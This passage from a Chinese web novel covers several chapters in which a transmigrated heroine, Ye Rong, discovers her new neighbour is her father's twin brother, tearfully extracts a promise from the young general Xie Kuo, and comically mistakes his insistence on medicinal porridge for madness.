这件事,对她来说可谓是重中之重的存在,她要先提前打听好,确认一下。
不然的话,她哪天自个儿在房里正兴奋的玩手机的时候,他突然闯进来的话,那她可就要尴尬了。
男人听到叶绒的话,看她一副对他避之不及的模样,他皮笑肉不笑的扯了扯
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嘴角。
“你有什么好怕的,咱们两人先前共同过夜的时候,哪一回吃亏的不是我?”
在这种情况下,真要论害怕,也应该是他先怕才对啊!
叶绒:“……”
站他的角度,他这话说的一点都没毛病,如果忽略她手机存在的话。
虽然但是,想归这么想,但咱不能长他人志气,灭自个儿威风不是么?!
话一出口,叶绒坚持要一个答案。
“你就跟我说是与不是就好了,哪儿来那么多废话!”
叶绒理不直气也不壮的,摆出了一副嫌弃的模样。
看她这般不想和他过多交谈的模样,万万没想到一句话就把人给惹**了的谢阔:“……”
“啧——”
男人感觉很是无奈
“你刚刚那话说的摆明了就是在嫌弃我,我只不过是在此基础上,稍微反问了一下罢了,你有什么好生气的?我都还没气起来呢!”
叶绒听到这话,看着对她隐晦脾气变化竟然还蛮敏锐的,和她印象中的直男有些许不同的男人,她撇了撇嘴。
“人孔子都说了,这世上唯小人与女子难养也,我气性大点怎么了?”
谢阔:“……”
男人面色很是古怪的,看了叶绒一眼。
打着人孔夫子的名义,说出来这种话,有教无类的孔圣人倘若当真还活着的话,恐怕也不乐意收这种弟子吧?!
而且——
如果他没记错的话,这句话的原意,旨在强调,上下级相处之间的分寸感,而且此话中的女子,指的是上位者的姬妾与女仆,而非代指九州所有女性!
毕竟人孔夫子就算是圣人,再怎么声明出众,武德充沛,恐怕也不敢和当世所有的女子对上,平白给自己的人生制造困难,添加麻烦。
Emmm……
这么曲解圣人的话语,谢阔着实是想不通,到底是谁胆敢这么教她的?
这么教别人家的独苗苗,这夫子就不怕人家长哪天知道了,跟他没完吗?
第一百二十三章 叶大哥?
谢阔看着气性超大,嫌弃他还嫌弃的理直气壮的叶绒,有些心累的捏了捏眉心。
“放心,日后像昨晚这种事情,绝对不会再发生了。”
男人说这话时,满脸笃定。
就算是下回,他再失去意识了,他事先也会记得叮嘱好人,把他们两人挪到一起治疗的时候,事先给她知会一声。
叶绒得到满意的答复,心里松了口气。
于是,本就对换住处不甚在意的她,经此一番之后,那是更没有意见了。
叶绒没有意见了,治病要紧,在这种情况下,谢某人就是有意见也没有办法提,也是因此,这回他们两人搬家搬的很快。
以至于,申时的时候,住在两人周边的一众邻居们便知道,他们这个小巷子里空了许久的宅子,主人家回来了。
申时一刻,彼时正是巷子里一众人家准备飱食的时候,因此家家户户,现在都有人在。
托豫州那不知名的大善人和太守的福分,此处虽为豫州偏僻城市,但他们过得不说吃穿不愁,最起码却不用为寒冬的难熬和明年无良播种而忧愁了。
和同为边城的隔壁梁州居民比起来,他们这种日子,已经算是很不错了,是隔壁人人艳羡的存在。
在这种情况下,虽然吃不饱饭,但精神劲头十足的一众边城百姓们,为了转移注意力,那对豫州重要的事情可是万分关注的。
毕竟,事关豫州的,无论是好的事情还是坏的事情,这可都是今年过冬精神粮食的来源。
当然,对于此事,突然搬家的叶绒是不知道的。
叶绒来到自己的新家之后,看着面前被人收拾一新的房子,正心急的到处乱看呢,突然间一个转眼的功夫,她眼角的余光瞥到了,在她侧后方不远处站着的叶文武,脸上那有些古怪的表情。
???
因为粗心大意,差点被人送去见阎王爷的叶绒,立马就警惕了起来。
“怎么了?请问,这里有哪里不对劲吗?”
叶绒边说边往叶文武身后躲去,并且也已经做好了,为了不被殃及池鱼,随时从这里撤离的准备。
看着他脸上的戒备与他的毫不掩饰的动作,谢阔:“……”
他觉得,他应该在手上带个板指,这样他下回手痒,想敲人的时候力气就有地方使了。
正当谢阔这么想着的时候,直接在叶守武身后躲得严严实实的叶绒,不知想到了什么,突然又从他身后悄咪咪的,小心翼翼的探出了脑袋。
叶绒往身后四处探头看了看,看着站在原地动不动的男人,她连忙招了招手。
“你赶紧过来躲着点儿”
他们两人都是伤患,倘若等会儿真有场恶战要打的话,他们两个残血人士还是老老实实躲起来吧,省得一不小心被敌方抓到手,完了变成碎石可能会被卸磨杀驴的人质。
就像他先前一样的叶绒:“……”
时间可真是把杀猪刀啊!
搁以前,叶绒从来没有想过,自己脱下孔乙己的长衫之后,有一天竟然会过上这种原始的生活。
谢阔看着他脸上的紧张和担忧,心中那口戾气蓦地就散了
男人嘴角往上压不住般,往上翘了翘。
还知道关心他,算她还有点良心!
这么想着,男人下颌微动,示意叶绒赶紧从别的男人身后出来。
“这里很安全,我们来之前已经有人先过来清扫过了,宅子里除了几个信得过的洒扫之人以外,其他人全都送出去了”
他以为他办事和他一样,顾头不顾尾啊!
叶守武这时才后知后觉的反应过来,他误会了什么?
只见男人脸上闪过一抹尴尬,紧接着他连忙对叶绒摆了摆手解释道,“小姐您误会了。”
因不知他姓甚名谁是哪个世家姑娘的缘故,叶守武这眨个眼的功夫便选择了和军医一样的叫法。
尊敬而又不失礼貌
“属下只是没有想到您和少将军,竟然会在属下家的旁边落脚。”
啊嘞?!
万万没想到竟然是这么个情况,叶绒一时都不知道自己是该为自个儿的愚蠢先尴尬
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,还是该因为这般巧合先惊讶了
正当。他这么想着的时候,听到他话的男人先开口了
“这可真是太赶巧了”
无心插柳柳成荫呐!
“我们来此居住,打的是富贵人家的子弟前来豫州边城寻亲问药的借口”
当然这不是重点,重点是——
因为他家就在隔壁的缘故,他们先前,想的借口竟然是不能使用了,好在他们有了一个更合适不容易被人揭穿的借口
这么想着,男人脸上的笑容加深了一些。
“既然叶参将的假就在隔壁的话,那我们便直接以亲戚名义相处好了,我和厍怵是来此投奔你的人,日后万望叶参将多多照顾了。”
闻弦音而知雅意的男人听到这话,连忙摆手道:“不敢当,不敢当,你们此番来的匆忙,想来很多家常用品都没来得及制备,等会儿我让过来看看你们都缺什么,看看有什么内子能帮忙的地方。”
和聪明人说话就是省事,谢阔闻言,脸上本就温润的笑容,看起来更加令人感到亲切友好了。
反倒是完全在状况外的叶绒:……
满脑袋问号的叶绒,看着仅说了两句话的功夫,就肉眼可见的,看起来关系更加亲切了一些的两人,他一头雾水的同时,人也有些懵逼。
不是吧,好端端的,她怎么就莫名其妙多了几个亲戚呢?
这世莫说是她不同意了,她妈也会不同意啊!
Emmm……
完全想不通的叶绒看着交谈甚欢的两个男人,为了表示自己的合群,只得努力勾起嘴角,露出了一个比迎宾小姐还标准的礼貌笑容。
甚至于在谢阔,让叶绒跟着他喊一声叶大哥的时候,她也很是礼貌乖巧的跟着喊了。
“叶大哥好!”
叶绒声音那叫一个清脆有力,听起来利落极了,也好听极了。
就是吧,喊完之后,叶绒脸上的笑容彻底僵住了
她刚刚喊了玩意儿来着?
叶、叶、叶……
救命.jpg
第一百二十四章 头皮发麻
叶绒看着应得响亮的叶守武,整个人都,“……”
她身体肉眼可见的僵了片刻之后,好不容易回过神来的叶绒,最终选择了一个尴尬而又不失礼貌的问法,来为自己解惑。
“那什么,叶大哥,不好意思啊,能冒昧问一下你全名叫什么吗??”
猝不及防听到这话的叶守武:“……”
不是,他这人看起来那么普通简单的吗?她先前林林总总的加起来,都见了他好几面了,竟然还没有和其他人打听过他的全名?
想虽然是这么想的,那内心腹诽的叶守武,还是老老实实的把自己的名字告诉了他。
叶守武??
Emmm……
得知男人真名之后,叶绒表情那叫一个复杂难言。
“怎么了吗?我名字是有什么问题吗?”
叶守武一脸的莫名其妙。
Emmm……
那问题可大了去了。
待我先编上一会儿再说!
这么想着,叶绒脸上维持着客套的笑容,闭口不言,但内心却在疯狂尖叫。
他便宜爹叫叶守文,这人叫叶守武,两个名字之间只差了一个字,且文和武,虽寓意不同,但用在兄弟起名之间,也非常的常见
但问题的关键在于,书上也没说,他便宜爹有个哥哥或者弟弟啊?!
那么问题来了——
眼前这个突然冒出来的人,是怎么回事?
虽然被男人的名字震得有些头皮发麻,但在关乎自己小命的事情上,叶绒该有的谨慎还是有的
也是因此,听到叶守武的话之后,叶绒脸上笑容不变的答道,“你名字没什么问题,就是吧,守有守候看护的意思,武字相对来说攻击性比较强,这两个字组合起来组成名字相对来说比较少见,故而我有些好奇,你能告诉我,你家长给你取这个名字,当时是怎么想的吗?”
叶守卫听到这话,看着功夫还没修炼到家,明摆着避重就轻隐瞒了一些事情,甚至于还想顺势从他这里套些话的叶绒,他嘿嘿一笑。
五大三粗的汉子,笑得甚是憨厚的解释道:“小姐,聪明。还真让你猜对了,我还有个弟弟叫守文,我俩是双胞胎,前后脚出生的,没差多少时间。我们两人出生之后,父亲看弟弟相对来说文静些,就给他取了守文这个名字,反之则用守武来给我命名。”
万万没想到情况竟然是这样的叶绒:“……”
“听你口音,你不像是这里的人啊。”
听到这话,叶守武不动声色看了叶绒一眼。
这是军营众人众所周知的消息,也是因此,他没有选择隐瞒,而是直接道:“小姐利眼,您确实猜对了,我原先乃是京都人士,只是后来因为一些事情和家里人闹翻了,于是便带着内子出来一起养家糊口了。”
叶守文、京都人士。
这一关键的信息对上了,把叶守武的话提炼了一番之后,叶绒悬着的那颗心,终于还是**。
啊、这……
叶绒一时指甲呢,都不知道到底是该吐槽他家里人起名随便,还是该夸他们父母养孩子有能耐了。
守武守文,一武一文,名字起的那叫一个嘎嘎对称。
并且,他们二人的名字,还全都和他们的性格和能力合上了。
想通了这一点的叶绒,内心有些感慨的同时,也有些不得意之处。
不是吧,不是吧——
大家不都什么大难不死必有后福之类的话吗?
她这番差点被人下毒搞死,结果福气还没迎来呢,就先提前见了家长,真有血缘关系的那种家长。
那……福呢、福福呢?
叶绒茫然环顾四周,什么都没看到的她,内心一片凄凉。
她一时都不知道,该如何形容内心的感受。
好不容易挺过去一次毒发,他以为只要解了体内的毒,便能继续征程,接着往前走了,结果万万没想到,毒还没解呢,她就在这里先见了不该见的人。
叶绒很是哀愁。
六年后咋办呢?
一点都不想出师未捷身先死,也不想创业未半而中道崩殂的叶绒,
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疯狂回忆刻在脑子里的小说上面的内容小,妄图想办法亡羊补牢一番。
结果——
把小说剧情从脑海里大致飞快过了一遍之后,确定自己没露过哪个剧情点的叶绒,表情顿时就变得一言难尽了。
不、不是……
什么个情况?为什么整本小说里,都没有一句话提过他便宜店还有个哥哥啊?
Emmm……
叶绒确定这一事实之后,一时不知自己到底是该哭还是该笑
于是,叶绒为了自己的未来着想,带着一丢丢的八卦的心态,小小的问询了一番。
“你既然是京都人士,那怎么来这里了啊?”
且不说,面前这人到底是不是她便宜大伯,单就一点,他说他是京都人士的话,从军不应该是在雍州那边当兵吗?
好端端的怎么会来了和雍州相距甚远的豫州呢?
叶绒那真是越想越想不通这个问题。
紧接着,她就听到了,他便宜伯伯的人那仿若终极恋爱脑似的表白回答。
“嘿嘿,那什么,我媳妇儿在这里,我当然要和她一起来这里了。”
万万没想到,自己在古代,竟然还会听到真话的叶绒:“……”
好半响,消化完男人话里的意思之后,她方才与其有些干涩的开口问道:“既然你在这里,那你家中长辈和兄弟姐妹们呢,是不是也在这里啊?”
倘若她那个便宜爹,现在也在豫州边城的话,那她不止要先提前做好心理准备,还要立马去搞个面纱带带,遮遮脸,省得一不小心让外人提前看到了她的面容,平白再给她惹来一堆解决不了的麻烦。
毕竟,她这张脸单看看不出什么问题,但却五分随了爹,五分随了娘,而且还全都是挑着他们脸上好看的地方长的。
在这种情况下,倘若她真和她便宜地站到一块儿的话,那绝对不会有人怀疑他们两人之间的父女关系。
Emmm……
只稍微这么一想,叶绒就感觉整个人都头皮发麻了。
救命.jpg
第一百二十五章 哭!
陡然从军营的帐篷,换到城镇的院子里来住,住宿环境升级了不止一个档次,按理来说,这着实是一件让人开心的事情。
然并卵——
叶绒来的时候确实是开开心心的,但自从谢某人给他们两人认了个亲戚之后,得知叶守武的**后,她就一点都开心不起来了。
论认亲认到真亲戚身上,是一种什么感受?
完全嘻嘻不起来啊!
哪怕叶绒事后从叶守武嘴里得知,他们叶家那么一个大家族,来到这里的人只有他和他媳妇两个,她也没能再开心的起来。
毕竟,这对她而言,只不过是死缓和**的区别罢了。
脸上强撑着笑容,心里MMP的叶绒,把叶守武从院子里送出去之后,眼睁睁看着他径直打开隔壁院落的大门走了进去,她脸上的笑容,那是彻底的撑不住了。
好嘛好嘛,人一点都没在撒谎!
她完犊子了。
惨兮兮.jpg
看着仅关个门的功夫,叶绒就颓丧着一张脸,杏眸中肉眼可见的弥漫上了一层水雾的模样,谢阔:“……”
男人不动声色咳嗽一声,强行打断了叶绒内心的恐惧幻想。
“你认识叶家人?”
分明是疑问的话语,男人却说得极其笃定。
毕竟,和她仅仅相处了一会儿时间的叶守武,都看出来她的不对劲了,旁观完她面色全程变化的谢阔,就是想装傻也装不了了。
——太明显了!
男人本来只是想顺嘴问上那么一两句话,孰料,听到他的话,叶绒的眼泪唰的一下就流了下来。
泪眼朦胧的叶绒,眨着一双水汪汪的杏眸,看向身旁站着的男人。
此时此刻的她,心情简直是和这片天地一样——
雪上加霜啊都!
看着她眼泪哗啦啦的往下流,一直没个停歇的架势不说,还越流越凶猛的谢阔:“……”
“行了,我不问了,你别哭了。”
不想让他知道,直说就好,要是感觉脸皮薄说不出口的话,强行转移话题也行啊!
她生硬转折的时候多了去了,他哪一回认真追究过啊?
再说了,她瞒着他的事情多了去了,他也从未追根究底过,多上这么一件也不算什么!
倒是她,哭成这样,让他感觉很是心慌。
不知道的人,怕不是以为,他光天化日的,干了什么欺负弱小的坏事呢?!
本来正在痛快发泄内心慌乱情绪的叶绒,看着男人无奈妥协的样子,内心如同开了闸的洪水一般倾泻而下的慌乱,莫名的停顿了一下。
从未想过自己眼泪,有一天竟然会这么好用的叶绒,看着男人泪眼汪汪的问道:“唔唔唔……你能不能答应我,有生之年,别关注任何和叶家有关的事情啊?”
万万没想到,她小口一张,就要跟他来个有生之年系列的约定,谢阔:“……”
得寸进尺,已经不足以形容她了。
男人桃花眼微敛。
然而,他一个字都还没来得及说呢,他身旁少女眼中的泪水,又刷的一下流出来了,没个停歇……
看着妄图用不停往下流的泪水淹没他的少女,谢阔很是无奈的捏了捏眉心,他语气里充满了没有办法的妥协。
“叶参将是近两年,我颇为关注的军中将领,他有勇有谋,很会办事,虽为世家出身,但却全然没有沾染上世家子弟被娇惯出来的坏毛病,不像他那个弟弟一般,文不成武不就的,都快到而立之年了,还跟没断奶的孩子一样,在家中长辈手底下过活讨生活。”
男人这番评价很是中肯,一点都没掺杂个人感情,一看就知是从其他人嘴里得知的。
叶绒听他说话的同时,不着痕迹地打量了他一番,看他说起叶守文时,那副分外嫌弃的模样,刚还在哭的她,差点一个没忍住,直接就笑出来了。
他这话,简直是说到她心坎里去了!
好话、会说、多说点!
虽然她那个便宜爹,在全文出场的时候,无论面
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对女主还是面对原主,表面上看起来都还蛮正常的,他对她们两人尽量做到了一碗水端平,不像她那个便宜娘一样,偏心简直是偏到了极点,面对她时横眉竖眼的,面对人女主时,就是温柔慈祥,善良大度,一代贤惠母亲的架势。
但这只是表面情况而言罢了!
要知道,哪怕在小说后期,原主在书中恶毒形象尽显,她娘也没说出把人放弃远嫁的话,甚至于在原主父爹打定主意,要把原主嫁给落榜的书生,赶出京都的时候,她便宜娘还特意给她求情了。
哪怕最后没能阻止这门亲事,她还尽心给原主准备了嫁妆并一些金钱,只想让她嫁人之后好过一些。
而她便宜爹呢?
把人放弃远嫁之后,那就跟没这个闺女一样,彻底把人抛在脑后了。
因此,听到谢阔说出这么中肯的,一点都不看好她便宜爹的话的时候,叶绒心里那叫一个开心。
虽然她不知道,她便宜爹之后是怎么当上了侯爷的,但她知道,就冲谢某人现在这话,以及他对叶守文的看法态度,他能当上侯爷,已经是在官途上走到尽头了。
嘻嘻.jpg
妥了,知道将来会间接把她害死的人,在官途上会郁郁不得志,永远不会被他顶头老大重视得用之后,叶绒心里那口恶气,总算是出去了。
洒家这回就是死,也瞑目了!
当然,想归这么想,但叶绒却一点都不能表露出来。
既然已经露馅了,那就只能由暗转明要一个承诺了
古人向来注重承诺,作为书中一诺千金的代表,谢阔的话,他只要敢说,她就敢信!
在叶绒灼灼目光的注视下,谢阔缓缓摇了下头。
“我日后还准备重用叶参将呢,没什么意外的话,他日后应当会成为我的心腹,所以与叶家有关的事情,我不得不关注。”
猝不及防听到这话,本以为男人会答应她的叶绒:“……”
好悬,听到男人心里话的叶绒,差点哇的一声哭出来!
第一百二十六章 妥了!
“……”
叶绒虽然强忍住了哭声,但却没法止住不停往下流的泪水……
她也没说不让人重用叶守武的话。
毕竟这话一出口,他要是应了,那她跟无缘无故断了人家前程的谄媚小人,有什么区别?
虽然但是——
想归这么想,叶绒心里还是很委屈。
“你重用他,让他给你当心腹,和你关注他家里的事情之间,有什么关系啊?”
知道他家里什么情况,有几口人之类的这些个不太重要的事情就够了,又不是媒婆,干嘛那么关注人家家里私事?
叶绒能理解古代皇帝,对手握兵权的将士们的重视。
但她着实不了解,他们为何一个个的全都选择从其家人方面,出手限制对方?
他们就不怕遇到一冷心冷血如汉朝开国皇帝那样的,不顾自个儿老爹死活的那种狼人吗?
想不通啊想不通!
对上她哀怨的目光,谢阔有些无奈的抬手捏了捏山根。
他想了想,转而给叶绒举了个例子。
“你要是借给了某人一大笔钱的话,你是不是得知道那人老家在哪里啊?心里有个底,方便必要的时候,能过去要账。同样的道理,在凡事都要留个后手的情况下,我要是把叶参将当成心腹,把军队交给他,让他代我在外守边境的话,那我是不是得对他了解的一清二楚,对他家里的事情也要知之甚晓,不然哪天被人背叛了,反手捅了一刀怎么办?”
男人这话说的很是坦然,毕竟有句话怎么说来着,永远不要试探人心!
再说了,此番行事,也能震慑那些想背地里耍小手段的宵小之辈。
这番道理,放到哪个上位者和他手握兵权的心腹手下之间,都是对两人都有利的事情。
叶绒听到此处,找不到话反驳的她什么都没说,只默默垂泪。
就冲着他这话,哪怕她再怎么想隐瞒,六年,最多六年,六年之后,她怕不是就会被他们当成妖邪,给烧死?!
哪怕退一万步来讲,他们心软不曾杀她,又或者把她当成了同类而处,那她的任务也完不成了。
所以她现在吃苦受累的,为了什么?
难不成就为了以后能死得更惨点?!
呜呜呜……
看着不知脑补了什么,越哭越绝望的叶绒,谢阔:“……”
这不解释还好,一解释,眼见叶绒接受不了,哭得更加惨兮兮的模样,男人被她这番表现带累的,心里也有些难过了。
“要不然这样吧,你跟我说你不想让我知道什么,回头我让手下人在关注叶家的时候,相应的避讳着点,行不行?”
谢阔一副很好说话的语气,把底线一再降低,只求身旁少女赶紧收了神通,别再哭了。
听到他的话,已经脑补到,自己完不成任务,无法再回现代,要在这里耗一辈子的叶绒,抽抽搭搭的看着他,“和叶家有关的事情,我都不想让你知道。”
谢阔:“……”
这特么是陷入死循环了吗?
正当男人琢磨着,要不要当一回色令智昏的上位者,放弃一个可堪一用的世家子弟,转而博得美人一笑时,叶绒最终还是心软,说出了退一步的话。
“你不是担心叶守武给你当了心腹之后,哪天背叛了你吗?”
听到叶绒这话,看她总算是能好好沟通了,大冷天里,急的汗都快冒出来的男人,着实是狠狠的松了口气。
想到他建国之后,建立的那个堪称无孔不入的,比大明锦衣卫还厉害的组织,叶绒斟酌片刻方才说出了内心的想法,“你可以成立一个监察部门,专门监督你手下人的行事……”
这时候,喜欢看与末代王朝相关知识的好处,就体现出来了。
虽然她对血滴子和粘杆处不甚了解,但相应的东厂西厂和锦衣卫之类的机构,她在网络上见到的多了,自然而然的也都混了个一知半解,这么多个一知半解加起来,帮谢某人开阔一下视野什么的,是完全能够做到的。
嘤嘤嘤.jpg
看着谢某人因她的话,眼睛越来越亮的模样,叶绒对云朝未来的各位大人们,默默道了声对不起。
因为她,他们要提前被监控起来了!
话说……
完善的监察机构建立起来之后,倘若叶家人没干什么,违法犯罪亦或者想要叛变谋反的事情,他就不用特意盯着叶守武及其家人了吧?
谢阔自然而然的听懂了叶绒的话外之音。
万万没想到事情绕来绕去竟然又绕回了原点的谢阔:“……”
男人忍了又忍,还是没有忍住好奇发问,“我要是不答应,你会怎么样?”
听到这话,叶绒目光幽幽看了他一眼,轻飘飘回道:“那你就等着给我收尸吧。”
谢阔:“——”
男人完全领会错了叶绒的意思,但这不妨碍他震惊。
哭死什么的?!
他不答应她,她竟然要一直哭下去,至于么?
坦白来说,谢阔是有些理解不了叶绒的脑回路的。
但她话都说到这份上了,他除了点头,还能做什么呢?
“我可以答应你,与叶家有关的事情,我不会特意去关注。”
“不、不能这么说,你应该说,你不会去关注与叶家有关的事情。”叶绒执着纠正道。
这两者完全是不一样的概念!
谢阔:“……”
男人无奈重复了一遍她说的话。
眼见面前的少女狠狠松了一大口气,不等她雨过天晴,他连忙补充道。
“丑话说到前头,这一切的前提是,叶守武连带其家人格守本分,不会做不该做的事情。”
叶绒听到这话连忙问道:“你这所谓的不该做的事情是指?”
她要打听清楚,他这番话所涵盖的范围,毕竟她还能不能顺利回到现在,就全看这一遭了。
谢阔垂眸看着叶绒轻声道:“越权擅职行事。”
叶绒:“……”
她快速在脑海里回忆了一下小说剧情,回忆完毕之后,叶绒脸上的笑容,简直是收都收不住。
这可真是天不亡她啊!
直至原主病死破庙,在书里,全程叶家人都没做过违背谢某人底线的事情。
妥了.jpg
第一百二十七章 病了?
得到保证的叶绒,现场给谢某人表演了一番变脸绝活,充分让他再度见识了一下,什么叫做六月的天,女人的脸,说变就变。
谢阔:“……”
懂了.jpg
他松口,松的太早了。
看她刚刚那样,他还以为她会哭晕过去呢,没想到这才几息的功夫啊,就变得笑容满面的,那嘴角上翘的,简直是压都压不下去!
啧——
谢阔很是头疼的无奈扶额。
怎么办?
他总觉得,这种事情,有一就有二。
倘若男人这么想着的时候,眼中没有带笑的话,他面上的愁容,可能会显得更有说服力一点。
“哭够了,得到保证也放心了,现在能去洗把脸,吃飱食了吧?”
男人这话一出口,看着尚还不自知,接下来会经历什么的叶绒,他眼中的笑意,顿时就散去了。
Emmm……
草率了!
这下真的是太草率了!
他刚刚直接被她给哭昏了头了,乱了分寸,以至于忘记谈条件了。
这是多么好的一个机会啊!
就冲她刚刚那架势,但凡他刚才松口点头答应她的时候,跟她说上那么一声,接下来一段时间,她要乖乖吃药粥。
依他对她的了解来看,那她肯定是会连犹豫都不带犹豫一下的,就直接答应。
深感自己错亿的男人,彼时很是懊恼。
话说,他现在反悔,还来得及不?
叶绒并不知道身旁男人在想什么,看他脸色有些不好的样子,她以为男人是后悔了。
Emmm……
这么一想,叶绒吓得顿时连吭都不敢吭一声,为了自个儿的小命着想,她老老实实的听话照做。
男人的掌控欲啊……
啧!
表面安安静静的叶绒,内心却在不断摇头。
不过很快,她就知道自己是以小人之心,度君子之腹了。
但是——
叶绒看着餐桌上,小厮端过来的两碗一模一样的药粥,又看看坐在小桌子对面,笑容满面的看着她的男人,“……”
叶绒此时,当真宁愿自己,继续误会下去!
毕竟他谢某人小心眼儿就小心眼儿吧,反正碍不着她什么事儿。
左右,等她解了毒,离开这里,回洛阳城见了原主之后,他们便再会无期了。
但陪他喝药粥什么的,这却是实打实的伤害啊!
她接受不了的那种!
男人看着叶绒脸上的菜色,给了她一个同病相怜的眼神,他眉眼微抬,示意叶绒往正堂门口,垂手站立着的那个小厮看去。
叶绒仔细看完之后,回以一个不解的眼神。
男人苦哈哈的笑了一下,方才解释道:“这是程叔专门派来盯着我们吃饭的人,有时间限制的那种,要是药都凉了,我们还没喝完的话,他就要回去告诉程叔了。”
叶绒:“……”
她有些傻眼。
不是,怎么还带这样的?!!!
叶绒着实是想不通,“我们都已经喝过两回药粥了,为什么还要接着喝?”
是药三分毒,再这么接着喝下去,没病都得喝出来病了吧?!
“因为我们有病啊!”
叶绒:???
他这是已经被程叔的药粥气疯了,疯起来连自己都骂了?
并不知道叶绒内心想法的谢某人决定趁热打铁,先给她打个预防针。
“如果我没猜错的话,在我们解毒之前,我们除了程叔准备的药粥以外,其它什么东西都不能吃。”
叶绒:?!?!?!
听到男人这话,叶绒第一反应是——
他果然已经疯了吧?!
恐怖如斯.jpg
万万没想到疯起来的男人,竟然对自己那么狠,叶绒:“……”
如坐针毡呐简直!
老实说,叶绒现在很想起来,赶紧跑路。
毕竟有的神经病,疯起来是会直接拿刀,在大庭广众之下捅人的;而有的神经病疯起来,是会让人陪他一起吃药粥的。
很不幸的是,这两种神经病,她都遇到了。
Emmm……
叶绒脸上表情不动声色,甚至听男人说话时的她,还跟着附和的点了点头,一副嗯嗯啊啊的模样,表示你说的都对!
但是,她内心,那叫一个痛哭流涕。
嘤嘤嘤.jpg
穿越大神啊,她这是惹了哪路衰神了吗?
好端端的,怎么老碰到这种倒霉事情啊?!
叶绒叫苦不迭。
看她面上那么配合,男人有些诧异。
旋即,他试探着端起餐桌上的一碗药粥,给叶绒递了过去。
“那咱们就赶紧、趁热吃了?”
叶绒笑呵呵地点头,一副很好说话的样子,但不等谢阔稍稍安心,做势要喝药粥的叶绒,拿起勺子舀了一勺,刚放到唇边,她又突然放下了。
“那什么,我突然想到一件事,你先吃,不用等我,我去去就来。”
叶绒说着,就往门口站着的小厮那里跑去……
谢阔:“——”
男人本以为她终于长心眼了,知道提前找人确认一下他话里的真假,省得再被糊弄了,他难得有些欣慰。
只可惜啊,长了心眼儿也没用,毕竟,他们已经提前串好口供了!
正当谢阔这么想着的时候,叶绒已经小跑到门口小厮那里,示意人附耳过来,跟他说了句悄悄话。
“你赶紧把程大夫请来,十万火急的告诉他,他们少主得了失心疯。”
精神病在现代都不好治,更谬论是古代!
只希望程大夫足够给力,学过医术的同时也钻研过心理学,不然的话,那毁了一代开国明君的她,就罪该万死了!
并不知道叶绒在想什么的谢阔:“……”
男人脸上的表情缓缓僵住了。
此时此刻,他深恨自己内力高深,耳聪目明,听到了她说出口的话,明白了她未尽的担忧。
不是,他就让人喝个药粥的功夫,好端端的,怎么在她眼里就成了失心疯了呢?
显而易见的,门口的小厮也不太理解叶绒的脑回路
听到她的叮嘱,小厮脸上表情空白了一瞬。
看她面色焦急,无声催促的模样,他下意识扭头看向屋里的男人。
只见在正厅坐着的男人,正看着面前的药粥,缓缓陷入了沉思。
小厮:“……”
第一百二十八章 可怕之处
小厮听到叶绒的话之后,沉默了片刻,然后当真乖乖听话的,出去找大夫去了。
这倒不是他近墨者黑,被叶绒脑回路感染同化了,当真以为他们家少主生病了。
主要是吧——
这等场面,他已经hold不住了,为了不成为被殃及的池鱼,此时不跑?更待何时!
眼睁睁看着小厮走了,把她一个人留在了原地,叶绒:“……”
草率了,她刚刚应该让小厮留下,自己出去找程大夫来着。
毕竟,她走了,屋里屋外两人,同为男人,人小厮要是一不小心触及了屋里谢某人那根敏感的神经,他们两人打起来了的话,那叫互殴。
但换成她和谢某人的话,她要是一不小心惹得他犯病了,那她被他揍了就是挨打,要是被他强行灌药粥喝了,那就是平白遭罪!
毕竟,男女之间,体力差距在那里摆着!
想到这里,叶绒看向在屋内坐着一脸沉思的模样,不知在想什么的男人,她的腿就跟在原地扎了根似的,一点都挪不动,也不想挪。
叶绒在原地站着,沉默了好半响,直到男人终于想通了,对她招手,她才在他的催促下,不情不愿地挪回了原位。
谢阔示意叶绒在凳子上坐下,等她坐好之后,他组织了一下语言,方才再度开口。
“你还记得我在山里跟你说的,你的胃被人饿出毛病来了,需要好好调养个一年半载的功夫,才能好吗?”
叶绒听到这话,看着跟正常人没什么两样的男人,轻轻点了下头,实则,她整个神经都绷紧了,脚尖虚虚点地,随时做好了跑路的架势。
毕竟,谢阔眼下这般模样,她怎么看都觉得,他像是发病的前兆。
鬼知道他病发,她是要挨揍,还是要被他强行灌下药粥啊?
嘤嘤嘤.jpg
程大夫救命!
男人假装没看到叶绒扎好的架势,委婉地道出了程医远的医嘱。
“我们回到军营里,你晕过去之后,我让程叔仔细给你把了下脉,他说你心脉受损严重,气血凝滞,身子骨被人恶意损耗那么久,本就已经够虚了,又中了红颜,不给你身体好好调养一下,你此番便是成功解了毒,也会折寿。医食同源,为了更好的给你调养一下身体,程叔方才让人给你煮药粥吃。”
男人说着,往桌子上的药粥示意了一下。
“这本是给你准备的东西,我怕你一个人喝,心理感觉不平衡,方才陪着一起喝的。”
叶绒看着男人一副情真意切的模样,深深觉得,她要不是真被神经病给伤害过,近距离观察过这类人群的人,发病前后的样子的话,恐怕还真就信了他这胡编乱造的话了。
正当叶绒这么想着,想赶紧点头把人安抚住的时候,只听门口传来一道附和的声音。
“少主说的没错。”
“嗯嗯嗯,你说的对……嗯?”
叶绒堪堪点完头,大脑才接收完另外一道声音里,传来的信息。
她一脸懵逼的转头看向被小厮请过来的程医远。
“……程叔?”
叶绒有些怀疑,自己刚刚是不是精神极度紧张之下,听错了话。
但紧接着,程医远脱口而出的话,打断了她内心的侥幸。
“这药粥本就是我特意为你调制的。”
叶绒:“……”
这下换她沉默了。
精神病不可怕,可怕的是,人家说出口的,被你当成神经质的话,是真的!
Emmm……
叶绒仔细回忆了一下谢某人刚刚话里的意思,完了她又看看桌子上放着的,那闻着都让人难以接受的药粥……
好半响,回过未来的叶绒,肉眼可见的破防了。
她伸手指着桌上药碗,声音哽咽问道:“我要喝这玩意,一直喝到我身上的红颜,被解了为止?”
谢阔:“……”
看她一副崩溃的难以接受的模样,谢某人和在门口站着的大夫不着痕迹对视一眼,最终,他斟酌再三,还是选择默默咽下了,已经到嗓子眼里的话。
依照他过往的经验来看,便是红颜解了,她恐怕还要再喝一段时间的养生药粥,才能转为清淡饮食。
当然,这话肉眼可见的,他现在是不能说出口了。
真要让叶绒知道,她要喝药粥,具体要喝多长时间的话,依照他对她的了解来看,她怕不是能当场放弃治疗!
这么想着,男人默默点了下头。
得到肯定答复,已经想放弃治疗的叶绒:“……”
其实吧,人嘛,有时候活着,也不是一件很有必要的事情,对吧?
叶绒越想越觉得这话很有道理,也很适合现在的她。
毕竟她这人最怕吃苦了,而药粥的苦,那是谁吃谁知道。
正在叶绒斟酌着,要不要就这么放弃的时候,最终,程大夫用一句话,拯救了濒临破碎的她。
